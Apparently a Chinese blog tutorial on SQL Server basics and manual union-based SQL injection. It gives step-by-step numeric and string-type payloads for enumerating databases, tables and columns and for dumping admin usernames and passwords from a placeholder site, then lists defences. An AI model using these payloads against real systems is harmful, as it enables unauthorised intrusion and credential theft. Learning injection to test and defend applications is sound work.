SQL Server(Microsoft 数据库)基础用法 + 数字型 + 字符型 完整联合注入

前言

在 Web 渗透测试中,SQL Server(微软 MSSQL) 是 Windows 平台建站最常用的数据库之一,和 MySQL、Oracle 语法、注入思路都有明显区别。

本文先带你从零掌握 SQL Server 基础必备知识点 ,再完整讲解数字型、字符型联合注入全过程,一步步爆出库名、表名、字段名、敏感数据,知识点详细、步骤清晰。

⚠️ 免责声明:本文仅用于网络安全合法学习、企业内部漏洞自查,严禁用于未授权渗透、非法攻击、数据窃取,违规一切后果自行承担!


一、SQL Server 数据库基础必学知识点

1.1 基础核心概念

  1. 实例:SQL Server 服务实例,一台服务器可多实例共存。
  2. 数据库 :MSSQL 天然分系统库用户库,和 MySQL 库概念一致。
  3. 架构 :默认架构 dbo(大部分网站表都在 dbo 架构下)。
  4. 权限
    • sa:最高管理员权限,相当于 Oracle DBA,可查所有库所有数据;
    • 普通账号:只能操作当前业务库。

1.2 常用系统库(注入核心)

  • master:主系统库,存放所有数据库、登录账号、配置信息;
  • tempdb:临时库;
  • msdbmodel:系统默认库;
  • 用户自建库:网站业务库,存放业务表、管理员账号密码。

1.3 核心系统表 / 视图(注入必备)

  1. sysdatabases所有数据库名,存放在 master 库下;
  2. sysobjects当前库所有表名
  3. syscolumns当前库所有字段名
  4. information_schema.tables / information_schema.columns:MSSQL 也支持标准信息结构表,和 MySQL 用法相似。

1.4 MSSQL 基础语法特点(与 MySQL、Oracle 对比)

表格

功能 SQL Server MySQL Oracle
无表查询 可直接 select 1 无需伪表 可直接查 必须用 dual 伪表
注释符 -- /* */ -- #/* */ -- 必须带空格
分页 top nrow_number() limit rownum 嵌套
联合查询 union /union all 字段类型数量一致 同左 校验最严格
库表查询 master..sysdatabases information_schema all_tables

1.5 常用基础查询语句

sql

复制代码
-- 查询当前数据库名
select db_name()

-- 查询数据库版本
select @@version

-- 查询当前登录用户
select system_user

-- 查询前1条数据
select top 1 name from master..sysdatabases

二、SQL Server 联合注入核心知识点

2.1 什么是联合注入

利用 union select 把恶意查询和原有查询结果合并,借助页面显位直接回显库、表、字段、账号密码。

2.2 两大注入类型

  1. 数字型注入后台参数无引号包裹:

sql

复制代码
select id,title from news where id=1
  1. 字符型注入参数被单引号包裹,实战最常见:

sql

复制代码
select id,title from news where username='test'

2.3 注入前置条件

  1. 页面有显位可以回显数据;
  2. 后端直接拼接参数,无预编译、无过滤;
  3. union 前后字段数量、数据类型保持一致。

2.4 MSSQL 注释说明

  • -- :单行注释,后面要加空格;
  • /* 内容 */ :多行注释,可用来绕过过滤。

三、SQL Server 完整联合注入实战(数字型 + 字符型)

环境统一假设

  • 网站基于 ASP/ASP.NET + SQL Server;
  • 原查询字段数:3 个
  • 存在显位可回显内容。

第一部分:SQL Server 数字型联合注入

3.1 原理

参数为数字,后台无单引号包裹,无需闭合,直接构造注入语句。

3.2 完整注入步骤

步骤 1:判断是否存在注入

plaintext

复制代码
http://xxx.com/news.aspx?id=1'

页面爆出 SQL Server 报错信息,说明存在数字型注入。

步骤 2:order by 判断字段数

plaintext

复制代码
http://xxx.com/news.aspx?id=1 order by 1-- 
http://xxx.com/news.aspx?id=1 order by 2-- 
http://xxx.com/news.aspx?id=1 order by 3-- 
http://xxx.com/news.aspx?id=1 order by 4-- 报错

结论:一共 3 个字段

步骤 3:判断页面显位

plaintext

复制代码
http://xxx.com/news.aspx?id=-1 union select 1,2,3-- 

页面显示数字位置,即为可利用显位。

步骤 4:依次爆库、爆表、爆字段、爆数据

1. 查询数据库版本

plaintext

复制代码
?id=-1 union select 1,@@version,3-- 
2. 查询当前数据库名

plaintext

复制代码
?id=-1 union select 1,db_name(),3-- 
3. 查询所有数据库名称

plaintext

复制代码
?id=-1 union select 1,name,3 from master..sysdatabases-- 
4. 查询当前库所有表名

plaintext

复制代码
?id=-1 union select 1,name,3 from sysobjects where xtype='U'-- 

xtype='U' 代表用户自建表,排除系统表。

5. 查询指定表的所有字段

plaintext

复制代码
?id=-1 union select 1,name,3 from syscolumns where id=(select id from sysobjects where name='admin')-- 
6. 脱库查询管理员账号密码

plaintext

复制代码
?id=-1 union select 1,username,password from admin-- 

第二部分:SQL Server 字符型联合注入(重点)

3.3 核心原理

后台 SQL 用单引号 包裹参数,需要:单引号闭合原有引号 → 写入 union 注入语句 → 注释掉后面多余引号

通用格式:

plaintext

复制代码
?参数=值' 注入语句 -- 

3.4 完整注入步骤

示例地址:

plaintext

复制代码
http://xxx.com/news.aspx?name=test

后台原始 SQL:

sql

复制代码
select id,title,content from news where name='test'

步骤 1:判断字符型注入

plaintext

复制代码
http://xxx.com/news.aspx?name=test'

页面数据库报错,确认字符型注入漏洞。

步骤 2:判断字段数

plaintext

复制代码
http://xxx.com/news.aspx?name=test' order by 3-- 

3 正常、4 报错 → 共 3 个字段。

步骤 3:探测显位

plaintext

复制代码
http://xxx.com/news.aspx?name=test' union select 1,2,3-- 

步骤 4:字符型全套 Payload

plaintext

复制代码
-- 查版本
?name=test' union select 1,@@version,3-- 

-- 查当前库名
?name=test' union select 1,db_name(),3-- 

-- 查所有数据库
?name=test' union select 1,name,3 from master..sysdatabases-- 

-- 查当前库所有表
?name=test' union select 1,name,3 from sysobjects where xtype='U'-- 

-- 查admin表字段
?name=test' union select 1,name,3 from syscolumns where id=(select id from sysobjects where name='admin')-- 

-- 爆账号密码
?name=test' union select 1,username,password from admin-- 

字符型注入口诀

单引号先闭合,中间写联合,注释收尾堵多余引号


四、SQL Server 数字型 & 字符型 Payload 对比表

表格

操作 数字型 Payload 字符型 Payload
漏洞检测 ?id=1' ?name=test'
字段数判断 ?id=1 order by 3-- ?name=test' order by 3--
显位探测 ?id=-1 union select 1,2,3-- ?name=test' union select 1,2,3--
查所有库 ?id=-1 union select 1,name,3 from master..sysdatabases-- ?name=test' union select 1,name,3 from master..sysdatabases--

五、SQL Server / MySQL / Oracle 注入核心区别

  1. MSSQL 无需伪表,可直接 select 1;Oracle 必须用 dual;
  2. MSSQL 靠 master..sysdatabases 爆库,MySQL 靠 information_schema,Oracle 靠 all_tables;
  3. MSSQL 支持 top 分页,MySQL 用 limit,Oracle 用 rownum;
  4. MSSQL 注释支持 -- /* */,绕过方式更多;
  5. MSSQL 高权限 sa 可执行系统命令,危害比 MySQL、Oracle 更大。

六、SQL Server 注入防御方案

  1. 开发全部使用预编译语句,杜绝 SQL 语句直接拼接;
  2. 过滤单引号、union、select、and、or 等敏感关键字;
  3. 数据库账号赋最小权限,网站禁止使用 sa 最高权限;
  4. 生产环境关闭详细数据库错误回显,统一自定义 404 / 错误页;
  5. 开启 WAF,拦截常见 Union 注入、报错注入 Payload。

七、结尾

到这里 SQL Server 基础知识点 + 数字型、字符型联合注入 完整教程就给大家整理完毕了,从数据库基础概念、系统表作用,到一步步手工爆库、爆表、爆字段、脱库,全套干货一次性拉满。

SQL Server 是 ASP 网站建站主流数据库,注入思路和 MySQL、Oracle 既有相通之处又有很多独有语法。

觉得这篇教程对你有帮助的小伙伴,麻烦点赞、收藏、强烈关注博主

相关推荐
BizViewStudio1 小时前
2026 年网站建设行业白皮书:AI 深度融合与合规驱动下的 6 大变革方向——附优质开发商
大数据·网络·人工智能·microsoft·媒体
June`1 小时前
多线程redis项目基石
数据库·redis·缓存
重生之小比特1 小时前
【MySQL 数据库】事务
数据库·mysql
云边有个稻草人1 小时前
金仓数据库KingbaseES:自动创建表空间目录,简化部署适配云原生
数据库·kingbasees·数据库运维·国产化数据库·云原生适配·表空间管理
坐吃山猪1 小时前
SqlLite数据库-思路拓展
数据库·sqlite
代码中介商1 小时前
从零掌握MySQL:安装配置与C语言连接实战
数据库·mysql
czlczl200209251 小时前
Mysql JOIN 的物理执行流程
数据库·mysql
Java面试题总结1 小时前
MySQL 反模式与排查宝典
数据库·mysql
STARFALL0011 小时前
MySQL 运维
运维·数据库·mysql